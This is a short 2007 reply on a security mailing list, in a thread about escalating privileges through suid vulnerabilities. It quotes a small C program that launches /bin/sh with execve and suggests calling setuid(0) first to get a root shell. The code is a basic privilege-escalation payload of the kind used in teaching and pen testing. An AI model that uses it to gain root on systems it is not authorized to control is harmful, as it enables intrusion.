On Saturday 24 February 2007 19:52, John McGuire wrote:
> #include <stdio.h>
> int main() {
> char *arr[2];
> arr[0] = "/bin/sh";
> arr[1] = NULL;
> execve (arr[0], arr, NULL);
> }
Try with "setuid(0);" before execve :-)
--
Andrea "bunker" Purificato
+++++++++++[>++++++>+++++++++++++++++++++++++++++++++>++++
++++++<<<-]>.>++++++++++.>.<----------.>---------.<+++++++.
http://rawlab.mindcreations.com
------------------------------------------------------------------------
This List Sponsored by: Cenzic
Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------
|
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | RE: DNS mapping, Walsh, Leo |
|---|---|
| Next by Date: | Pen Testing Company and Legal Documentation, Ricardo Mourato |
| Previous by Thread: | Re: question on escalating privileges via suid vulnerabilities, Marco Ivaldi |
| Next by Thread: | Re: question on escalating privileges via suid vulnerabilities, Fábio Russo |
| Indexes: | [Date] [Thread] [Top] [All Lists] |